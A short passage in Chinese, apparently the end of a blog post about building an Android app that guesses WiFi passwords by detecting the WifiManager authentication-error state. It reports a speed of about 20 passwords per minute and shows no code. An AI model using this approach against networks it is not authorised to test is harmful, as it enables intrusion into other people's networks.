不查看安卓源码，你根本不会知道怎么检测 WifiManager.*ERROR_AUTHENTICATING*，这让我在写测试代码时也着实苦恼了一段时间。好了，代码就分析到这里，回想一下，网上为什么没有这样的软件也知道原因了，因为 SDK 中没有提供相应的 WIFI 连接接口，要想实现就必须要深入研究这块，因此，太多人觉得过于繁琐也就没弄了。

最后，测试了一下效果，一分钟大概能跑 20 个密码，跑密码效果如图 3 所示。

图 3